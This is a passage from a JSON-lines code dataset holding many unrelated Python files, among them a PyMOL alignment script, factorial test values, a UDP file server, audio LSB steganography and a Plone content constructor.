tmp.append(float(e))\n else:\n tmp.append(str(e))\n else:\n if re.match(ma,line[1]):\n tmp.append(float(line[1]))\n else:\n tmp.append(str(line[1]))\n\n dataDict[line[0]] = tmp\n\n return dataDict\n\ndef logToFile(data,outputFile = '/analyse.out', dictData={}):\n if(type(data) == dict):\n with open(OUTPUT_DIR + outputFile,'w+') as f:\n for key, value in data.items():\n f.write('{0}:\\t{1}\\n'.format(key, value))\n elif(type(data) == list):\n if not bool(dictData) :\n with open(OUTPUT_DIR + outputFile,'w+') as f:\n for item in data:\n f.write('{0}\\n'.format(item))\n else:\n with open(OUTPUT_DIR + outputFile,'w+') as f:\n for item in data:\n if(item in dictData):\n f.write('{0}\\n'.format(dictData[item]))\n else:\n print('Error: \"{0}\" not in dataset'.format(item))\n\nINPUT_DIR = '/home/dchakl/Desktop/comp_chem/glycine/glycine_v2/'\nOUTPUT_DIR = '/home/dchakl/Desktop/comp_chem/glycine/output/'\n\n\n\ndata = readLogFile(OUTPUT_DIR + 'analyse.out')\n\nfiles = os.listdir(INPUT_DIR)\nbase = '/home/dchakl/Desktop/comp_chem/glycine/glycine_v2/base.xyz'\ncmd.load(base,'base')\ncount = 0\nfor fi in files:\n cmd.load(INPUT_DIR + fi ,'ref')\n fi = fi.split('.')[0]\n er = []\n try:\n a = cmd.align('base','ref')\n data.get(fi.split('.')[0]).append(a[0:4])\n cmd.delete('ref')\n except (AttributeError):\n er.append(fi)\nprint(er)\nlogToFile(data)\n\n'''\n cmd.load(INPUT_DIR + f, 'ob2')\n f = f.split('.')\n p = cmd.align('sm','ob2')\n print(p)\n\n l.write('{0}:\\t[{1}]\\n'.format(f[0],p))\n cmd.delete('ob2')\n'''\n","sub_path":"script/pymolScript/checkAlinment.py","file_name":"checkAlinment.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"384931140","text":"#! /usr/bin/env python\n#\ndef i4_factorial_values ( n_data ):\n\n#*****************************************************************************80\n#\n## I4_FACTORIAL_VALUES returns values of the factorial function.\n#\n# Discussion:\n#\n# 0! = 1\n# I! = Product ( 1 <= J <= I ) I\n#\n# In Mathematica, the function can be evaluated by:\n#\n# n!\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 18 December 2014\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# Milton Abramowitz and Irene Stegun,\n# Handbook of Mathematical Functions,\n# US Department of Commerce, 1964.\n#\n# Stephen Wolfram,\n# The Mathematica Book,\n# Fourth Edition,\n# Wolfram Media / Cambridge University Press, 1999.\n#\n# Parameters:\n#\n# Input/output, integer N_DATA. The user sets N_DATA to 0 before the\n# first call. On each call, the routine increments N_DATA by 1, and\n# returns the corresponding data; when there is no more data, the\n# output value of N_DATA will be 0 again.\n#\n# Output, integer N, the argument of the function.\n#\n# Output, integer FN, the value of the function.\n#\n import numpy as np\n\n n_max = 13\n\n fn_vec = np.array ( [ \\\n 1, \\\n 1, \\\n 2, \\\n 6, \\\n 24, \\\n 120, \\\n 720, \\\n 5040, \\\n 40320, \\\n 362880, \\\n 3628800, \\\n 39916800, \\\n 479001600 ] )\n n_vec = np.array ( [ \\\n 0, 1, 2, 3, \\\n 4, 5, 6, 7, \\\n 8, 9, 10, 11, \\\n 12 ] )\n\n if ( n_data < 0 ):\n n_data = 0\n\n if ( n_max <= n_data ):\n n_data = 0\n n = 0\n fn = 0\n else:\n n = n_vec[n_data]\n fn = fn_vec[n_data]\n n_data = n_data + 1\n\n return n_data, n, fn\n\ndef i4_factorial_values_test ( ):\n\n#*****************************************************************************80\n#\n## I4_FACTORIAL_VALUES_TEST tests I4_FACTORIAL_VALUES.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 18 December 2014\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'I4_FACTORIAL_VALUES_TEST:' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' I4_FACTORIAL_VALUES returns values of the integer factorial function.' )\n print ( '' )\n print ( ' N I4_FACTORIAL(N)' )\n print ( '' )\n\n n_data = 0\n\n while ( True ):\n\n n_data, n, fn = i4_factorial_values ( n_data )\n\n if ( n_data == 0 ):\n break\n\n print ( ' %8d %12d' % ( n, fn ) )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'I4_FACTORIAL_VALUES_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\nif ( __name__ == '__main__' ):\n from timestamp import timestamp\n timestamp ( )\n i4_factorial_values_test ( )\n timestamp ( )\n\n","sub_path":"test_values/i4_factorial_values.py","file_name":"i4_factorial_values.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"243598546","text":"import socket\nimport sys\nimport os\nimport signal\nimport time\nfrom subprocess import Popen, PIPE\nimport math\nimport threading\n\n\ndef get_numseq(i): #pour avoir le format: 00000i\n if len(str(i))==1:\n numseq= \"00000\" + str(i)\n if len(str(i))==2:\n numseq= \"0000\" + str(i)\n if len(str(i))==3:\n numseq= \"000\" + str(i)\n if len(str(i))==4:\n numseq= \"00\" + str(i)\n if len(str(i))==5:\n numseq= \"0\" + str(i)\n if len(str(i))==6:\n numseq= str(i)\n return numseq\n\ndef connection_client(UDP_IP_ADDRESS,count,addrclt,rtt,port):\n socket_data = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #en ouvrir plusieurs par client\n mtu=1500-6 # -6 car 6 est la taille de notre numéro de séquence il faut donc l'inclure dans la taille totale de ce qu'on envoie\n #tab_segments= []\n i=1\n j=0\n socket_data.bind((UDP_IP_ADDRESS,port+count))\n fichierrecu= socket_data.recv(mtu).decode() # pour que ça marche il faut mettre exactement la taille du buffer\n fichier= fichierrecu[0:-1]\n f=open(fichier,\"rb\")\n #TRAITER LE CAS OU CEST UNE IMAGE\n f_size = os.fstat(f.fileno()).st_size\n #-----------------------------------REMPLISSAGE DU TABLEAU DE SEGMENTS A ENVOYER--------------------------------------\n #----------Garder en cache quand un client demande le meme fichier = plus haut debit ---------------------------------------------------\n tab_segments=[]\n while f.tell() < f_size:\n seq_number= get_numseq(j+1).encode() # en bytes\n tab_segments.append(seq_number+f.read(mtu)) # la taille devient 1506\n j+=1\n f.close()\n\n #----------------------------------- FIN REMPLISSAGE DU TABLEAU DE SEGMENTS A ENVOYER----------------#\n\n socket_data.settimeout(rtt) #les fct 0.0230 bloquantes comme le receive ne le seront plus après ce paramètre\n #----------------------------------------ENVOI DU TABLEAU AU CLIENT ---------------------------------\n current_segment=1\n sliding_window= 25\n total_segments= len(tab_segments)\n time1= time.time()\n list_ack_received=[]\n\n\n while current_segment < total_segments: #tant qu'on a pas atteint une valeur superieure au denrier segment\n #if current_segment > total_segments - sliding_window: #retrecir la window car on a - que le window length qui nous reste\n # sliding_window = total_segments- current_segment #taille de la fenetre restante\n for segment in tab_segments[current_segment-1:current_segment-1+sliding_window]:#on envoie tous les paquets de la sliding_window\n socket_data.sendto(segment, addrclt) #envoi de tous les segments du premier indice a l'indice+sliding sliding_window\n #------------------------ TRAITEMENT DES ACK-----------------------------------\n #on envoie tous les paquets de la sliding_window\n try:\n list_ack_received.append(int(socket_data.recv(9).decode()[3:9]))\n\n except socket.timeout:\n continue\n if len(list_ack_received) >0:\n current_segment=max(list_ack_received)+1\n\n\n\n#------------------------ FIN TRAITEMENT DES ACK--------------------------------\n\n #----------------------FIN DE TRANSFERT FICHIER---------------------------\n time2= time.time()\n socket_data.sendto(b\"FIN\", addrclt)\n #bitrate= (f_size * 10**-6) / (time2-time1)\n #print (\"Bitrate:\", round(bitrate,3),\"Mo/s\")\n\n\nif __name__ == '__main__':\n # Create a UDP socket\n tab_segments= []\n UDP_IP_ADDRESS = \"0.0.0.0\"\n UDP_PORT_NO = int(sys.argv[1])\n socket_syn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n socket_syn.bind((UDP_IP_ADDRESS, UDP_PORT_NO))\n count=0\n while True:\n syn, addrclt =socket_syn.recvfrom(3)\n count+=1\n synack=\"SYN-ACK\" +str(int(sys.argv[1])+count)\n socket_syn.sendto(synack.encode(), addrclt)\n rtt1=time.time()\n (message, addrclt) = socket_syn.recvfrom(3)\n rtt2=time.time()\n rtt=rtt2-rtt1\n message= message.decode()\n newthread = threading.Thread(target=connection_client, args=(UDP_IP_ADDRESS,count, addrclt,rtt,int(sys.argv[1])))\n newthread.start()\n","sub_path":"serveur3-FastARL.py","file_name":"serveur3-FastARL.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"379912789","text":"'''https://www.sigmainfy.com/blog/leetcode-subset-i-and-ii.html\nno recursive, Your submission beats 100.00% Submissions!\nAnother different angle to remove duplicates is to treat the continues duplicates number S[i] which appears t times as a whole, and this whole thing have 1 + t choices for us, to put 0..t of them into the subsets. This implementation could be integrated into the 3rd approach fro Subsets I discussed previously and the following iterative implementations is accepted by LeetCode OJ to pass both the Subsets I and II problems:\n'''\n#not yet working\nclass Solution:\n def subsetsWithDup(self, S):\n S.sort()\n vv = [[]]\n i,cnt = 0, 0\n n = len(S)\n while (i < n):\n cnt = 1\n while (i + cnt < n and S[i] == S[i + cnt]):\n cnt += 1\n for k in range(len(v) - 1, -1, -1):\n tmp = vv[k]\n for j in range(1, cnt+0):\n tmp.append(S[i])\n vv.append(tmp)\n i += cnt\n return vv\n","sub_path":"subsets-ii/iterative.py","file_name":"iterative.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"28979167","text":"debug = False\ntrace = False\n\nimport random\nfrom util import Stack, Queue # These may come in handy\n\nclass User:\n def __init__(self, name):\n self.name = name\n def __str__(self):\n return str(self.name)\n\nclass SocialGraph:\n def __init__(self):\n self.last_id = 0\n self.users = {}\n self.friendships = {}\n\n def add_friendship(self, user_id, friend_id):\n \"\"\"\n Creates a bi-directional friendship\n \"\"\"\n if user_id == friend_id:\n print(\"WARNING: You cannot be friends with yourself\")\n elif friend_id in self.friendships[user_id] or user_id in self.friendships[friend_id]:\n print(\"WARNING: Friendship already exists\")\n else:\n if trace: print(f\"self.friendships[user_id={user_id}].add(friend_id={friend_id})\")\n self.friendships[user_id].add(friend_id)\n if trace: print(f\"self.friendships[friend_id={friend_id}].add(user_id={user_id})\")\n self.friendships[friend_id].add(user_id)\n\n def add_user(self, name):\n \"\"\"\n Create a new user with a sequential integer ID\n \"\"\"\n self.last_id += 1 # automatically increment the ID to assign the new user\n self.users[self.last_id] = User(name)\n self.friendships[self.last_id] = set()\n\n def populate_graph(self, num_users, avg_friendships):\n \"\"\"\n Takes a number of users and an average number of friendships\n as arguments\n\n Creates that number of users and a randomly distributed friendships\n between those users.\n\n The number of users must be greater than the average number of friendships.\n \"\"\"\n # Reset graph\n self.last_id = -1\n self.users = {}\n self.friendships = {}\n\n # Add users\n for i in range(num_users):\n if trace: print(f\"call add_user({i})\")\n self.add_user(i)\n\n if trace: print(f\"users: {self.users}\")\n\n total_friendships = num_users * avg_friendships\n if debug: print(f\"total_friendships = {total_friendships}\")\n\n combinations = []\n for x in range(num_users):\n for y in range(num_users):\n if x != y:\n combinations.append((x, y))\n\n if trace: print(f\"combinations ({len(combinations)}):\\n{combinations}\")\n\n random.shuffle(combinations)\n if trace: print(f\"combinations shuffled:\\n{combinations}\")\n\n combinations = combinations[:total_friendships]\n if trace: print(f\"final {len(combinations)} combinations:\\n{combinations}\")\n\n friendships_made = 0\n for c in combinations:\n user_id = c[0]\n friend_id = c[1]\n if friend_id > user_id:\n if trace: print(f\"call add_friendship(user_id={user_id}, friend_id={friend_id})\")\n self.add_friendship(user_id, friend_id)\n friendships_made += 2\n if friendships_made >= total_friendships: break\n\n if debug: print(f\"friendships: {self.friendships}\")\n\n\n def user_network(self, network, user):\n if trace: print(f\"user_network for user: {user}\\n\\t{network}\")\n connections = []\n for connection in network[user]:\n if trace: print(f\"connection: {connection}\")\n connections.append(connection)\n if debug: print(f\"connections for user {user}: {connections}\")\n return connections\n\n def bfs(self, starting_user, destination_user):\n \"\"\"\n Return a list containing the shortest path from\n starting_user to destination_user in\n breath-first order.\n \"\"\"\n q = Queue()\n visited = set()\n\n q.enqueue(starting_user)\n\n while q.size() > 0:\n if trace: print(f\"Queue:\\t\\t{q}\")\n current_path = q.dequeue()\n if trace: print(f\"current_path\\t{current_path}\")\n if isinstance(current_path, list):\n current_user = current_path[-1]\n elif isinstance(current_path, int):\n current_user = current_path\n\n if trace: print(f\"current_user\\t{current_user}\\tdestination_user\\t{destination_user}\")\n if current_user == destination_user:\n if debug: print(f\"current_path:\\t{current_path}\")\n if isinstance(current_path, list):\n return current_path\n else:\n return [current_path]\n\n if current_user not in visited:\n visited.add(current_user)\n\n user_network = self.user_network(self.friendships, current_user)\n if trace: print(f\"user_network\\t{user_network}\")\n\n for user in user_network:\n if isinstance(current_path, list):\n path_copy = current_path + [user]\n elif isinstance(current_path, int):\n path_copy = []\n path_copy.append(current_path)\n path_copy.append(user)\n if trace: print(f\"path_copy\\t{path_copy}\")\n q.enqueue(path_copy)\n\n if debug: print(f\"q: {q}\")\n if q.size() == 1:\n return [q]\n if q.size() > 1:\n return q\n else:\n return None\n\n\n def get_all_social_paths(self, user_id):\n \"\"\"\n Takes a user's user_id as an argument\n\n Returns a dictionary containing every user in that user's\n extended network with the shortest friendship path between them.\n\n The key is the friend's ID and the value is the path.\n \"\"\"\n if debug: print(f\"get_all_social_paths({user_id})\")\n\n visited = {} # Note that this is a dictionary, not a set\n\n for f in self.friendships:\n if trace: print(f\"f: {f}\")\n v = self.bfs(user_id, f)\n if v: visited[f] = v\n\n if debug: print(f\"visited: {visited}\")\n return visited\n\n\ndef calculate_network_percentage(network, connections, num_users):\n count = 0\n\n for user in network.users:\n if user in connections.keys():\n count += 1\n\n percentage = (count / num_users) * 100\n if debug: print(f\"percentage: {percentage}%\")\n return percentage\n\n\ndef calculate_average_degrees_of_separation(network, connections):\n # length of users path to another user is the degree of separation\n friend_count = 0\n degrees = 0\n\n for user in connections:\n # add to friend count\n friend_count += 1\n if debug: print(f\"friend_count = {friend_count}\")\n # add degree of separation\n degrees += len(connections[user]) - 1\n if debug: print(f\"degrees = {degrees}\")\n\n # divide total degrees of separation by the number of user connections\n average = degrees / friend_count\n if debug: print(f\"average = {average}\")\n return average\n\n\nif __name__ == '__main__':\n sg = SocialGraph()\n sg.populate_graph(10, 2)\n print(\"Friendships:\", sg.friendships)\n connections = sg.get_all_social_paths(0)\n print(\"Connections:\", connections)\n\n # To answer README question 2\n sg = SocialGraph()\n total_users = 1000\n average_friends = 5\n sg.populate_graph(total_users, average_friends)\n r = random.randint(0, 999)\n connections = sg.get_all_social_paths(r)\n np = calculate_network_percentage(sg, connections, total_users)\n ads = calculate_average_degrees_of_separation(sg, connections)\n\n print(f\"Network Percentage of user # {r} out of {total_users} users: {round(np, 1)}%\")\n print(f\"Average degree of separation in user # {r}'s network: {round(ads, 2)}\")\n","sub_path":"projects/social/social.py","file_name":"social.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"518280928","text":"from collective.transmogrifier.interfaces import ISection\nfrom collective.transmogrifier.interfaces import ISectionBlueprint\nfrom collective.transmogrifier.utils import traverse\nfrom opengever.base.behaviors.translated_title import ITranslatedTitle\nfrom opengever.base.behaviors.translated_title import TRANSLATED_TITLE_NAMES\nfrom opengever.base.interfaces import IDontIssueDossierReferenceNumber\nfrom opengever.base.interfaces import IReferenceNumberPrefix\nfrom opengever.base.model import create_session\nfrom opengever.base.schemadump.config import GEVER_SQL_TYPES\nfrom opengever.base.schemadump.config import OPTIONAL_ROOT_TYPES\nfrom opengever.base.schemadump.config import PARENTABLE_TYPES\nfrom opengever.base.schemadump.config import ROOT_TYPES\nfrom opengever.bundle.sections.bundlesource import BUNDLE_KEY\nfrom opengever.dossier.behaviors.dossier import IDossierMarker\nfrom opengever.ogds.models.user import User\nfrom opengever.private import enable_opengever_private\nfrom plone import api\nfrom plone.dexterity.utils import createContentInContainer\nfrom zope.annotation import IAnnotations\nfrom zope.globalrequest import getRequest\nfrom zope.interface import alsoProvides\nfrom zope.interface import classProvides\nfrom zope.interface import implements\nfrom zope.interface import noLongerProvides\nimport logging\n\n\nlogger = logging.getLogger('opengever.bundle.constructor')\nlogger.setLevel(logging.INFO)\n\n\nBUNDLE_GUID_KEY = 'bundle_guid'\n\nTYPES_WITHOUT_REFERENCE_NUMBER = (\n 'opengever.task.task',\n 'opengever.meeting.proposal',\n 'opengever.meeting.submittedproposal',\n 'opengever.disposition.disposition',\n)\n\n\nGEVER_SQL_TYPES_TO_MODEL = {\n '_opengever.ogds.models.user.User': (User, 'userid'),\n}\n\n\nclass InvalidType(Exception):\n pass\n\n\nclass NoDossierReferenceNumbersIssued(object):\n \"\"\"Contextmanager that temporarily disables issuing of reference numbers\n for newly created dossiers.\n \"\"\"\n\n def __enter__(self):\n alsoProvides(getRequest(), IDontIssueDossierReferenceNumber)\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n noLongerProvides(getRequest(), IDontIssueDossierReferenceNumber)\n\n\nclass ConstructorSection(object):\n \"\"\"OGGBundle specific constructor section.\n \"\"\"\n\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def __init__(self, transmogrifier, name, options, previous):\n self.previous = previous\n self.transmogrifier = transmogrifier\n self.bundle = IAnnotations(transmogrifier)[BUNDLE_KEY]\n\n self.site = api.portal.get()\n self.ttool = api.portal.get_tool(u'portal_types')\n self.catalog = api.portal.get_tool('portal_catalog')\n\n self.bundle.path_by_guid_cache = {}\n self.bundle.path_by_refnum_cache = {}\n self.bundle.constructed_guids = set()\n\n # stores containers that will need reindexing at the end of the bundle\n # import because they were modified by adding children into them.\n self.bundle.containers_to_reindex = set()\n\n def _has_translated_title(self, fti):\n return ITranslatedTitle.__identifier__ in fti.behaviors\n\n def _get_fti(self, portal_type):\n fti = self.ttool.getTypeInfo(portal_type)\n if fti is None:\n raise InvalidType(portal_type)\n return fti\n\n def _get_id_args(self, fti, item):\n if '_id' in item:\n return {'id': item['_id']}\n return {}\n\n def _get_title_args(self, fti, item):\n # we need the title sometimes to auto-generate ids\n # XXX maybe be a bit more intelligent here and set all required\n # fields while constructing?\n if self._has_translated_title(fti):\n title_keys = TRANSLATED_TITLE_NAMES\n else:\n title_keys = (u'title',)\n\n title_args = {}\n for key in title_keys:\n value = item.get(key)\n if value is not None and not isinstance(value, unicode):\n value = value.decode('utf-8')\n\n title_args[key] = value\n\n return title_args\n\n def _set_guid(self, obj, item):\n \"\"\"Store the GUID from the bundle in item's annotations in order to\n later be able to match up Plone objects with bundle items.\n \"\"\"\n IAnnotations(obj)[BUNDLE_GUID_KEY] = item['guid']\n\n def _construct_object(self, container, item):\n portal_type = item['_type']\n fti = self._get_fti(portal_type)\n\n kwargs = {}\n kwargs.update(self._get_id_args(fti, item))\n kwargs.update(self._get_title_args(fti, item))\n\n with NoDossierReferenceNumbersIssued():\n # Create the object without automatically issuing a\n # reference number - we might want to set it explicitly\n obj = createContentInContainer(\n container, portal_type, **kwargs)\n\n if IDossierMarker.providedBy(obj):\n prefix_adapter = IReferenceNumberPrefix(container)\n if not prefix_adapter.get_number(obj):\n # Set the local reference number part for the\n # dossier if provided in item, otherwise have\n # the adapter issue the next one\n local_refnum = item.get('reference_number')\n if local_refnum is not None:\n prefix_adapter.set_number(obj, local_refnum)\n else:\n prefix_adapter.set_number(obj)\n\n self._set_guid(obj, item)\n return obj\n\n def path_from_existing_guid(self, guid):\n if guid not in self.bundle.path_by_guid_cache:\n\n results = self.catalog.unrestrictedSearchResults(bundle_guid=guid)\n if len(results) == 0:\n # This should never happen, since we pre-validated GUIDs\n # in the ResolveGUIDSection\n logger.warning(\n u\"Couldn't find object with GUID %s in \"\n u\"catalog\" % guid)\n return\n\n if len(results) > 1:\n # Ambiguous GUID - this should never happen\n logger.warning(\n u\"Ambiguous GUID! Found more than one result in catalog \"\n u\"for GUID %s \" % guid)\n return\n\n brain = results[0]\n path = self.get_relative_path(brain)\n self.bundle.path_by_guid_cache[guid] = path\n\n return self.bundle.path_by_guid_cache[guid]\n\n def path_from_guid(self, guid):\n if guid in self.bundle.existing_guids:\n # Object with referenced GUID already exists in Plone\n return self.path_from_existing_guid(guid)\n\n # Othwerise determine parent path from pipeline item\n return self.bundle.item_by_guid[guid]['_path']\n\n def path_from_refnum(self, formatted_refnum):\n if formatted_refnum not in self.bundle.path_by_refnum_cache:\n\n results = self.catalog.unrestrictedSearchResults(\n reference=formatted_refnum,\n portal_type={'not': TYPES_WITHOUT_REFERENCE_NUMBER})\n\n if len(results) == 0:\n # This should never happen, since we pre-validated refnums\n # in the ResolveGUIDSection\n logger.warning(\n u\"Couldn't find reference number %s in \"\n u\"catalog\" % formatted_refnum)\n return\n\n if len(results) > 1:\n # With the 'not' constraint above, reference numbers should\n # unambiguously point to a single object - except for the\n # case where we're dealing with multiple repository roots.\n #\n # For that case, we would need to either specify the root\n # that should be considered, or fix reference numbers to be\n # unique across repository roots (which currently don't\n # contribute their own component to the reference number).\n logger.warning(\n u\"Found more than one matches in catalog for reference \"\n u\"number %s\" % formatted_refnum)\n return\n\n brain = results[0]\n path = self.get_relative_path(brain)\n self.bundle.path_by_refnum_cache[formatted_refnum] = path\n\n return self.bundle.path_by_refnum_cache[formatted_refnum]\n\n def get_relative_path(self, brain):\n \"\"\"Returns the path relative to the plone site for the given brain.\n \"\"\"\n return '/'.join(brain.getPath().split('/')[2:])\n\n def resolve_parent_pointer(self, item):\n \"\"\"Resolves an item's parent pointer to a container obj and its path.\n \"\"\"\n parent_guid = item.get('parent_guid')\n formatted_parent_refnum = item.get('_formatted_parent_refnum')\n\n if parent_guid is not None:\n parent_path = self.path_from_guid(parent_guid)\n\n elif formatted_parent_refnum is not None:\n parent_path = self.path_from_refnum(formatted_parent_refnum)\n\n elif item['_type'] in ROOT_TYPES or item['_type'] in OPTIONAL_ROOT_TYPES:\n # ROOT_TYPES don't support a parent pointer, and get constructed\n # directly in the Plone site. OPTIONAL_ROOT_TYPES may or may not\n # have one. In this case they don't, and also get constructed\n # directly in the site root.\n container = self.site\n parent_path = '/'\n\n elif item['_type'] in PARENTABLE_TYPES:\n # Workspaces may be parented to existing workspace roots\n parent_path = item['_parent_path']\n container = traverse(self.site, parent_path, None)\n\n else:\n # Should never happen - schema requires a parent pointer\n logger.warning(\n u'Item with GUID %s is missing a parent pointer, '\n u'skipping.' % item['guid'])\n return\n\n if not parent_path:\n logger.warning(\n u'Could not determine parent container for item with '\n u'GUID %s, skipping.' % item['guid'])\n return\n\n container = traverse(self.site, parent_path, None)\n return container, parent_path\n\n def __iter__(self):\n for item in self.previous:\n if item['_type'] in GEVER_SQL_TYPES:\n obj = self._construct_sql_object(item)\n if obj:\n self.bundle.constructed_guids.add(item['guid'])\n logger.info(u'Constructed %r' % obj)\n\n yield item\n continue\n\n parent = self.resolve_parent_pointer(item)\n if parent is None:\n # Failed to resolve parent, warnings have been logged\n continue\n\n container, parent_path = parent\n try:\n obj = self._construct_object(container, item)\n self.bundle.constructed_guids.add(item['guid'])\n self.bundle.containers_to_reindex.add(parent_path)\n logger.info(u'Constructed %r' % obj)\n except ValueError as e:\n logger.warning(\n u'Could not create object at {} with guid {}. {}'.format(\n parent_path, item['guid'], e.message))\n continue\n\n # If a private root was just constructed, enable the feature\n if item['_type'] == 'opengever.private.root':\n enable_opengever_private()\n\n # build path relative to plone site\n item['_path'] = '/'.join(obj.getPhysicalPath()[2:])\n\n yield item\n\n def _construct_sql_object(self, item):\n model, primary_key = GEVER_SQL_TYPES_TO_MODEL[item['_type']]\n data = {k: v for (k, v) in item.items()\n if not k.startswith('_') and k != 'guid'}\n\n if model.get(item['guid']):\n logger.warning(\n u'Could not create object with guid {}. Object already '\n 'exists'.format(item['guid']))\n return\n\n obj = model(**data)\n session = create_session()\n session.add(obj)\n return obj\n","sub_path":"opengever/bundle/sections/constructor.py","file_name":"constructor.py","file_ext":"py","file_size_in_byte":12120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"316447625","text":"class Solution:\n def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:\n self.ret = []\n if(len(nums1)= 400, pro_lib_size <= 20000)\nadata = adata[keep_protein_cells]\n\n# Filter genes\nsc.pp.filter_genes(adata, min_cells=4)\n\n# Find highly variable genes (really adds a mask for genes)\nadata_hvg = adata.copy()\nseurat_v3_highly_variable_genes(adata_hvg, n_top_genes=4000)\n# sc.pp.normalize_per_cell(adata_hvg, counts_per_cell_after=1e4)\n# sc.pp.log1p(adata_hvg)\n# sc.pp.highly_variable_genes(adata_hvg, n_top_genes=4000)\n\nadata.var[\"highly_variable\"] = adata_hvg.var[\"highly_variable\"]\n\nadata.write(\"data/malt_10k_protein_v3.h5ad\", compression=\"gzip\")\n","sub_path":"data/data_filtering_scripts/malt.py","file_name":"malt.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"469092451","text":"import sys\n\n\ndef orbitcount(orbit, orbits, cache):\n if orbit not in orbits:\n return 0\n if orbit not in cache:\n cache[orbit] = orbitcount(orbits[orbit], orbits, cache) + 1\n return cache[orbit]\n\n\ndef shortestdistance(src, dst, orbits):\n src_path, dst_path = [], []\n cur_src, cur_dst = src, dst\n\n while cur_src:\n src_path.append(cur_src)\n cur_src = orbits.get(cur_src)\n while cur_dst:\n dst_path.append(cur_dst)\n cur_dst = orbits.get(cur_dst)\n\n for src_parent_idx, src_parent in enumerate(src_path):\n if src_parent in dst_path:\n dst_parent_idx = dst_path.index(src_parent)\n return src_parent_idx + dst_parent_idx - 2\n\n\ndef main():\n orbits = {}\n for line in sys.stdin.readlines():\n orbit, object = line.strip().split(')')\n orbits[object] = orbit\n\n cache = {}\n sol1 = sum(orbitcount(orbit, orbits, cache) for orbit in orbits)\n print(sol1)\n\n sol2 = shortestdistance('YOU', 'SAN', orbits)\n print(sol2)\n\n\nmain()\n","sub_path":"adventofcode/2019/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"257241669","text":"\r\nimport wave\r\n# menginputkan audio\r\nsong = wave.open(\"song.wav\", mode='rb')\r\n# memaca frame dan merubah menjadi bit array\r\nframe_bytes = bytearray(list(song.readframes(song.getnframes())))\r\n\r\n# isi pesan atau plaintext\r\nstring='KIFUNSIL'\r\nstring = string + int((len(frame_bytes)-(len(string)*8*8))/8) *'#'\r\n# konversi teks ke biner\r\nbits = list(map(int, ''.join([bin(ord(i)).lstrip('0b').rjust(8,'0') for i in string])))\r\n\r\n# merubah tiap byte pada audio dengan satu bit pada bit teks array\r\nfor i, bit in enumerate(bits):\r\n frame_bytes[i] = (frame_bytes[i] & 254) | bit\r\n# modifikasi byte\r\nframe_modified = bytes(frame_bytes)\r\n\r\n# membuat byte pada audio\r\nwith wave.open('song_embedded.wav', 'wb') as fd:\r\n fd.setparams(song.getparams())\r\n fd.writeframes(frame_modified)\r\nsong.close()","sub_path":"LSB Audio stego text to audio/Embed.py","file_name":"Embed.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"209462858","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\n# url --> html text\ndef get_html_text(url):\n try:\n r = requests.get(url, timeout=30)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r.text\n except Exception as e:\n print(\"get html error!\")\n raise\n\n\n","sub_path":"Db_Book/data/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"39607972","text":"## Extract the envelope\n\n## Simply finds the maxima and minima, then subtracts them to find the envelope\n## It would be nice to add in min peak prominance and min seperation. \n\nimport numpy as np\nimport bisect\n\ndef fill_gaps(t,x,y):\n z =[]\n for m in range(len(t)):\n s = t[m];\n if any(s is val for val in x):\n ind = x.index(s)\n z.append(y[ind])\n else:\n ind = len(x)-1 if s>max(x) else max(bisect.bisect(x,s),1)\n dy = y[ind]-y[ind-1]\n dx = x[ind]-x[ind-1]\n z.append((s-x[ind])*dy/dx + y[ind])\n return np.array(z)\n\n\ndef envelope_extraction(t,y):\n \n s,r,a,b = [ [] for _ in range(4)]\n\n\n for l in range(1,y.size-1):\n y1,y2,y3 = [y[l + shift] for shift in [-1,0,1]]\n if y2-y1>0 and y2-y3>0:\n a.append(y2)\n r.append(t[l]) \n elif y2-y1<0 and y2-y3<0:\n b.append(y2)\n s.append(t[l])\n\n T = r+s\n T.sort()\n\n A = fill_gaps(T,r,a)\n B = fill_gaps(T,s,b)\n \n T = np.array(T)\n return [T,0.5*(A-B)]\n\n\n\n\n\n","sub_path":"envelope_extraction.py","file_name":"envelope_extraction.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"125052644","text":"from random import randrange\nfrom string import ascii_lowercase\nimport datetime\nimport random\n\n\ndef random_url(size=5):\n url = ''.join(random.choice(ascii_lowercase) for i in range(12))\n return ('.'.join([\"www\", url, 